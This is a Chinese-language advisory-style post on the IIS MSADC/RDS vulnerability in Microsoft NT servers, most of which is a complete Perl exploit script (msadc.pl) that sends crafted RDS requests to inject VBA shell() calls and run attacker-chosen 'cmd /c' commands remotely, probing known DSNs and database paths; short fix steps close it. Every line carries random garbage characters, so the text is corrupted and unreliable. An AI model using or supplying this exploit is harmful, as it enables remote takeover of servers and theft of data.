IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
w#Y<~W& 27-<q5q 涉及程序:
.,:700n+^ Microsoft NT server
|H.(?!nTb eH2.,wY1 描述:
rl^_RI 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\A\a=A[ =nEl m*E 详细:
'#SacJ\L7
如果你没有时间读详细内容的话,就删除:
<^&NA<2 c:\Program Files\Common Files\System\Msadc\msadcs.dll
DT # 1*&- 有关的安全问题就没有了。
l1~>{:mq b|T}mn 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
eR(PY{ Z8$@}|jN 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
E+$vIYq:W 关于利用ODBC远程漏洞的描述,请参看:
9YMUvd,u m :ROq http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^f{+p*i}: 0X\,!FL 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+XU*NAD,! http://www.microsoft.com/security/bulletins/MS99-025faq.asp _pQ9q&i4 QQKvy0?1 这里不再论述。
od|w)?16 R|h9ilc 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
SX|b0S, u0h {bu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
oUEpzv,J 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
-p`hevRr -san%H' JoA^9AYhR #将下面这段保存为txt文件,然后: "perl -x 文件名"
&C3J6uCm+ K z !-w #!perl
*J@2A)ZDv0 #
Py6c=&* # MSADC/RDS 'usage' (aka exploit) script
St/Hv[H'[E #
]j0v.[SX # by rain.forest.puppy
?gjM]Ki%: #
o"t+G/M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qt+vmi+~ # beta test and find errors!
y}ez js 5xP\6Nx6&5 use Socket; use Getopt::Std;
=-{+y(<"r getopts("e:vd:h:XR", \%args);
.hlr)gF&) F<X)eO]tk print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!l@IG C 2(LS<HqP[ if (!defined $args{h} && !defined $args{R}) {
oddS~lW print qq~
2t\a/QE)E Usage: msadc.pl -h <host> { -d <delay> -X -v }
R>[2}R30 -h <host> = host you want to scan (ip or domain)
T30!'F(*, -d <seconds> = delay between calls, default 1 second
\?h + -X = dump Index Server path table, if available
^x%yIS -v = verbose
mkTf}[O -e = external dictionary file for step 5
Yul-.X ]q7\
Or a -R will resume a command session
'Wl))lB X1!m]s(I ~; exit;}
5NbI Vz g=Q#2/UQ< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
iN5~@8jAzz if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m C_v!nL. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
R>BI;IcX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ps7( 4% $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[3;J,P=& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
V:)k@W?P X !NH?0) if (!defined $args{R}){ $ret = &has_msadc;
>Be PE(k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
dgE|*1/0 @~'c(+<3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
TZi%,yK . "cmd /c ";
${ad[hs $in=<STDIN>; chomp $in;
$}2m%$vJO $command="cmd /c " . $in ;
CT3wd?)z` V'
"p
a if (defined $args{R}) {&load; exit;}
:,y V?E6] #* j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!0`44Gbq &try_btcustmr;
Erl"X}P A5z`_b4f print "\nStep 2: Trying to make our own DSN...";
E {4/$} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
G9:[W"P *bDuRr?v9 print "\nStep 3: Trying known DSNs...";
k4'rDJfB &known_dsn;
~EW
(2B{u +*a:\b"fx print "\nStep 4: Trying known .mdbs...";
EN` --^ &known_mdb;
j!iimdq ;S"^O
AM if (defined $args{e}){
0Q_AF`" print "\nStep 5: Trying dictionary of DSN names...";
<w+K$WE { &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4Wk/^*? PbJn8o print "Sorry Charley...maybe next time?\n";
L,p5:EW8. exit;
aRdk^|} hZVF72D26 ##############################################################################
~A}"s-Kq5 `n
Y!nh6! sub sendraw { # ripped and modded from whisker
G?&0Z++ sleep($delay); # it's a DoS on the server! At least on mine...
'D-eFJ5 my ($pstr)=@_;
M['8zN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5Lo{\7% die("Socket problems\n");
K;,n?Q w if(connect(S,pack "SnA4x8",2,80,$target)){
(\e,,C%; select(S); $|=1;
VzA~w`$d print $pstr; my @in=<S>;
&=nwb4 select(STDOUT); close(S);
Ms=x~o' return @in;
d2'9C6t } else { die("Can't connect...\n"); }}
Ry,_%j3 z,87;4- ##############################################################################
xv]P-q0 15x~[?! sub make_header { # make the HTTP request
/PE3>"|w E my $msadc=<<EOT
6vQAeuz<Fq POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{UQpD User-Agent: ACTIVEDATA
WO/;o0{d\9 Host: $ip
*Tl"~)'t~ Content-Length: $clen
yP :>vFd7 Connection: Keep-Alive
|F-_YR BLgmFE2 ADCClientVersion:01.06
lfOF]Kiqr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
o )GNV Yn+/yz5k_ --!ADM!ROX!YOUR!WORLD!
T|GRkxd,E3 Content-Type: application/x-varg
{oy(08`6 Content-Length: $reqlen
|fYNkD8z1 !sfOde)$ EOT
"(F>?pq ; $msadc=~s/\n/\r\n/g;
O _yJR return $msadc;}
I;qeDCM y>'^<xk ##############################################################################
W @Y$!V< ;26a8g( sub make_req { # make the RDS request
>k<.bEx(A my ($switch, $p1, $p2)=@_;
)7<JGzBZ1 my $req=""; my $t1, $t2, $query, $dsn;
E}-Y@( [ bU/5ug. if ($switch==1){ # this is the btcustmr.mdb query
0t*JP $query="Select * from Customers where City=" . make_shell();
^Jcs0c
@\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3v
:PBmE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
oZHsCQ % 1Cki}$k@ elsif ($switch==2){ # this is general make table query
K||9m+ $query="create table AZZ (B int, C varchar(10))";
X3tpW`alo $dsn="$p1";}
E)H:
L- )TnxsFC elsif ($switch==3){ # this is general exploit table query
Ytm t+9 $query="select * from AZZ where C=" . make_shell();
9n]zh- $dsn="$p1";}
|lm Aa[p7{e elsif ($switch==4){ # attempt to hork file info from index server
i=OPl $query="select path from scope()";
4ZrX=e, $dsn="Provider=MSIDXS;";}
"1$OPt5 AYeA)jk elsif ($switch==5){ # bad query
B4bC6$Lg $query="select";
t%Vc1H2} $dsn="$p1";}
y-m<&{q H{
p $t1= make_unicode($query);
SL zL/5s $t2= make_unicode($dsn);
r0379 _ $req = "\x02\x00\x03\x00";
xgn@1.}G $req.= "\x08\x00" . pack ("S1", length($t1));
75v 5/5zRn $req.= "\x00\x00" . $t1 ;
Iz*' $req.= "\x08\x00" . pack ("S1", length($t2));
bccJVwXv $req.= "\x00\x00" . $t2 ;
;:,hdFap $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|'9%vtbM return $req;}
mjO4GpG3 =o^oMn ##############################################################################
zPEx;lO$ Gu}|CFL\ sub make_shell { # this makes the shell() statement
89*CoQ return "'|shell(\"$command\")|'";}
,+-l1GpL ~KHGh29 ##############################################################################
-'BC*fV r U+>!DtOYK sub make_unicode { # quick little function to convert to unicode
~B;kFdcVXn my ($in)=@_; my $out;
()e.J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
NNLZ38BV7 return $out;}
fw$/@31AP? :#s6, ##############################################################################
|=L~>G %K8Ei/p\t] sub rdo_success { # checks for RDO return success (this is kludge)
=>#
S7= my (@in) = @_; my $base=content_start(@in);
eQ`TW'[9_6 if($in[$base]=~/multipart\/mixed/){
uCO-f<b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[y-0w.V=oE return 0;}
<@6K( 2eo]D?} ##############################################################################
1DVu`<OXcH Wd#r-&!6j sub make_dsn { # this makes a DSN for us
H^z6.!$m my @drives=("c","d","e","f");
rOQ@(aUAZ print "\nMaking DSN: ";
yqR2^wZ%r foreach $drive (@drives) {
r'0IAJ-; print "$drive: ";
x>:~=#Vi my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
kx&Xk0F_g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Y'7f"W . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.|W0B+Z8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
v zgR3r return 0 if $2 eq "404"; # not found/doesn't exist
u\-WArntc if($2 eq "200") {
' cM2]< foreach $line (@results) {
R>Q&Ax return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
B=)&43)\ } return 0;}
U`YPzZp_ w7Fz(`\ ##############################################################################
WRa1VU&f BG ]w2= sub verify_exists {
F3d: W:^_ my ($page)=@_;
abog\0 my @results=sendraw("GET $page HTTP/1.0\n\n");
^G:}%4 return $results[0];}
]x)^/d &n6'r^[D ##############################################################################
9Q\CJ9 %{M_\Ae# sub try_btcustmr {
OYnxEdo7 my @drives=("c","d","e","f");
FXLY*eRk my @dirs=("winnt","winnt35","winnt351","win","windows");
ZiR },F/ )w.+( v( foreach $dir (@dirs) {
RLy2d'DS print "$dir -> "; # fun status so you can see progress
Ih Yso7g foreach $drive (@drives) {
hA?Flq2QV print "$drive: "; # ditto
LWH(bs9U $reqlen=length( make_req(1,$drive,$dir) ) - 28;
C:r@)Mhq $reqlenlen=length( "$reqlen" );
VkFvV><" $clen= 206 + $reqlenlen + $reqlen;
.\Z/j >z{*>i,m1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O_v8R7 { if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
rE->z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
JAt$WW{ [w*t(A ##############################################################################
o7:~C] @=i-*U sub odbc_error {
gKPqWh my (@in)=@_; my $base;
Q:L^DZkGV my $base = content_start(@in);
[ADSGnw if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ajM3Uwnr $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gy;>.:n $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y
nue;*rM $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c >O>|*I return $in[$base+4].$in[$base+5].$in[$base+6];}
g?7I7W~?` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
X
jPPgI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Xu.Wdl/{Ra $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
H[WsHq;T+9 dnwTD\), ##############################################################################
FRBW(vKE `7D]J*?` sub verbose {
Q1 t-Z;X my ($in)=@_;
Pv#Oea? return if !$verbose;
"V=IG{. print STDOUT "\n$in\n";}
g)3HVAT 2uCw[iZM ##############################################################################
OfE>8*RI4 9mmkFaBQ sub save {
~vb yX my ($p1, $p2, $p3, $p4)=@_;
>P<8E2}* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~cf*Oq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'9ki~jtf= close OUT;}
gR\z#Sg z [|:HS& ##############################################################################
mhNX05D ?lPn{oB9" sub load {
i-jrF6& my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xCQLfXK7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
w=QlQ\ @p=<IN>; close(IN);
k4E2OyCFoJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/Kd9UQU $target= inet_aton($ip) || die("inet_aton problems");
ZLGglT'EW> print "Resuming to $ip ...";
t?aOZps $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
V+$^4Ht if($p[1]==1) {
$eq*@5B $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q M) ob $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\[J\I my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8}?wi[T if (rdo_success(@results)){print "Success!\n";}
6/3oW}Oo else { print "failed\n"; verbose(odbc_error(@results));}}
`x:O&2 elsif ($p[1]==3){
}> ]`#s if(run_query("$p[3]")){
RxYC]R^78 print "Success!\n";} else { print "failed\n"; }}
|muZv!,E elsif ($p[1]==4){
(&KBYiwr if(run_query($drvst . "$p[3]")){
~( ;HkT print "Success!\n"; } else { print "failed\n"; }}
1xD?cA\vu exit;}
R*`=Bk0+ 47=YP0r?>T ##############################################################################
g7;OZ#\ 1wg#4h43l sub create_table {
$vLGX>H my ($in)=@_;
20
Z/Y\ $reqlen=length( make_req(2,$in,"") ) - 28;
i )!+`w*Y $reqlenlen=length( "$reqlen" );
Y '+mC $clen= 206 + $reqlenlen + $reqlen;
D=jtXQF my @results=sendraw(make_header() . make_req(2,$in,""));
bIXD(5y return 1 if rdo_success(@results);
mo D)^':. my $temp= odbc_error(@results); verbose($temp);
5D < return 1 if $temp=~/Table 'AZZ' already exists/;
.Q!p Q"5 return 0;}
9]^q!~u =lmelo#m& ##############################################################################
:I2spBx +[`
)t/ sub known_dsn {
EEP&Y? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8wLGmv^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&e3pmHp' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
+TC##}Zmb "banner", "banners", "ads", "ADCDemo", "ADCTest");
cz1 m05E jGUegeq foreach $dSn (@dsns) {
RN2z/FUf print ".";
wWVB'MRXB, next if (!is_access("DSN=$dSn"));
T}jW,Ost if(create_table("DSN=$dSn")){
pN{XGkX. print "$dSn successful\n";
mYFc53B if(run_query("DSN=$dSn")){
]zz%gZz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}\QXPU{UVd print "Something's borked. Use verbose next time\n";}}} print "\n";}
tN;^{O-(V uBw[|,yn2* ##############################################################################
r-_-/O"l ,xutI sub is_access {
[$M l;K my ($in)=@_;
f[q_eY $reqlen=length( make_req(5,$in,"") ) - 28;
;x&3tN/I $reqlenlen=length( "$reqlen" );
p
~)\! $clen= 206 + $reqlenlen + $reqlen;
X7SSTcA my @results=sendraw(make_header() . make_req(5,$in,""));
%;#9lkOXWH my $temp= odbc_error(@results);
#fFD|q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
u1|v3/Q- return 0;}
_I%mY!x\` ltHuN;C\ ##############################################################################
(kx>\FIK* Q;@w\_OR sub run_query {
wKJK!P my ($in)=@_;
"WqM<kLa $reqlen=length( make_req(3,$in,"") ) - 28;
/x/W>J2 $reqlenlen=length( "$reqlen" );
mG%cE(j*D $clen= 206 + $reqlenlen + $reqlen;
S;BMM8U my @results=sendraw(make_header() . make_req(3,$in,""));
17VNw/Y return 1 if rdo_success(@results);
{h;i x my $temp= odbc_error(@results); verbose($temp);
Pd(n|t3[8 return 0;}
II.Wa&w} FYK}AR<= ##############################################################################
kEg~yN <4;f?eu sub known_mdb {
^fM=|.? my @drives=("c","d","e","f","g");
6,]2;' my @dirs=("winnt","winnt35","winnt351","win","windows");
|h:3BV_ my $dir, $drive, $mdb;
w$Mb+b$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[{J1b NmN:x&/ # this is sparse, because I don't know of many
FFH{#|_1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
ezd@>(hJ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Uzk_ae "\\system32\\certmdb.mdb",
+>v{#A_u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
73M;-qnU Vb2")+*: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m>b
i$Y "\\cfusion\\cfapps\\forums\\forums_.mdb",
98WJ"f_ # "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gOk^("@ "\\cfusion\\cfapps\\security\\realm_.mdb",
y)Lyo'` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/zV0kW>N "\\cfusion\\database\\cfexamples.mdb",
%;G!gJeE
"\\cfusion\\database\\cfsnippets.mdb",
3lNw*M|") "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
i4
tW8Il "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
" 2@Ys*e "\\cfusion\\brighttiger\\database\\cleam.mdb",
~K|o@LK "\\cfusion\\database\\smpolicy.mdb",
..^,* "\\cfusion\\database\cypress.mdb",
W&^2Fb "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?/ s=E+ "\\website\\cgi-win\\dbsample.mdb",
5{6ebq55" "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ia)^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
dnTXx*I: ); #these are just
P^*gk P foreach $drive (@drives) {
\'N|1!EO|t foreach $dir (@dirs){
fI0L\^b% foreach $mdb (@sysmdbs) {
VAR/" print ".";
%K]nX#.B& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
YuDNm}r[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
k4 %> F if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
d_Vwjv&@/" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:Zd# }P } else { print "Something's borked. Use verbose next time\n"; }}}}}
b;Im +9& (.3L'+F foreach $drive (@drives) {
`24:Eg6r foreach $mdb (@mdbs) {
r^6vo6^ print ".";
Afa{f}st if(create_table($drv . $drive . $dir . $mdb)){
yQ8H-a. print "\n" . $drive . $dir . $mdb . " successful\n";
_E[{7"3} if(run_query($drv . $drive . $dir . $mdb)){
>Y< y]vM: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
cWM|COXL+ } else { print "Something's borked. Use verbose next time\n"; }}}}
M>k7
'@G }
i&FC-{|Z j|(bDa4\ ##############################################################################
UwQ3q M !OI :v sub hork_idx {
Gb\7W print "\nAttempting to dump Index Server tables...\n";
Tm^zoVi print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
U>x2'B v $reqlen=length( make_req(4,"","") ) - 28;
(^Do#3 $reqlenlen=length( "$reqlen" );
C 127he $clen= 206 + $reqlenlen + $reqlen;
1y"37;x my @results=sendraw2(make_header() . make_req(4,"",""));
7<^D7 if (rdo_success(@results)){
y!!+IeReS my $max=@results; my $c; my %d;
3]Lk}0atpL for($c=19; $c<$max; $c++){
|H_)u $results[$c]=~s/\x00//g;
6l
vx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
'\*Rw]bR| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
X-{:.9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r IK|} 5 $d{"$1$2"}="";}
|f?C*t', foreach $c (keys %d){ print "$c\n"; }
S s`0;D1 } else {print "Index server doesn't seem to be installed.\n"; }}
F5<{-{Ky dju&Ku
##############################################################################
A^p $~e\)
=;/h{
t sub dsn_dict {
#Aan v open(IN, "<$args{e}") || die("Can't open external dictionary\n");
l*m|b""].u while(<IN>){
cT0g, ^& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+li^0+3-' next if (!is_access("DSN=$dSn"));
!3&vgvr if(create_table("DSN=$dSn")){
? s ewU9* print "$dSn successful\n";
.yP
3}Nl if(run_query("DSN=$dSn")){
oV!9B -< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+Ae.>%} print "Something's borked. Use verbose next time\n";}}}
)w`Nkx print "\n"; close(IN);}
?GC0dN T+ t-0k ##############################################################################
P%lLKSA Cp* n2 sub sendraw2 { # ripped and modded from whisker
2$ rq sleep($delay); # it's a DoS on the server! At least on mine...
N_DgnZ7* my ($pstr)=@_;
PYf`a`dH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E>1USKxn die("Socket problems\n");
'} kq@ if(connect(S,pack "SnA4x8",2,80,$target)){
o <'gM]$ print "Connected. Getting data";
k1H0hDE open(OUT,">raw.out"); my @in;
uR%H"f select(S); $|=1; print $pstr;
@&W?e?O ~G while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[Bh]\I' close(OUT); select(STDOUT); close(S); return @in;
z,7^dlT } else { die("Can't connect...\n"); }}
!jW32$YTR K]oPh:E ##############################################################################
!T{g& f "J1ar.li sub content_start { # this will take in the server headers
5xHiq&d.E my (@in)=@_; my $c;
$S}x'F!4_ for ($c=1;$c<500;$c++) {
l!=WqIZ if($in[$c] =~/^\x0d\x0a/){
Uk2q,2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
lBdF9F< else { return $c+1; }}}
w3Ohm7N[ return -1;} # it should never get here actually
<X |h* eQx"nl3U% ##############################################################################
{ybuHC gNd
J=r4 sub funky {
20qVzXi my (@in)=@_; my $error=odbc_error(@in);
^!qmlx* if($error=~/ADO could not find the specified provider/){
9%qMZP0] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0mh8. exit;}
.[fz x` if($error=~/A Handler is required/){
VWv0\:,G print "\nServer has custom handler filters (they most likely are patched)\n";
jZ!JXmVV exit;}
+_dYfux if($error=~/specified Handler has denied Access/){
!y`e,(E print "\nServer has custom handler filters (they most likely are patched)\n";
e;5Lv9?C8 exit;}}
PuJ{!S\T7 |mmG
s ##############################################################################
88$Y-g5* i)i)3K2 sub has_msadc {
]P$DAi my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jPNfLwVkl: my $base=content_start(@results);
`Qf
:PX3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
;x^,t@ xge return 0;}
mN
6`8
[ f](uc(8Z ########################
Q;/F0JDH wPJRp]FA %i>e 解决方案:
vqOLSE"t*O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
OX/.v?c 2、移除web 目录: /msadc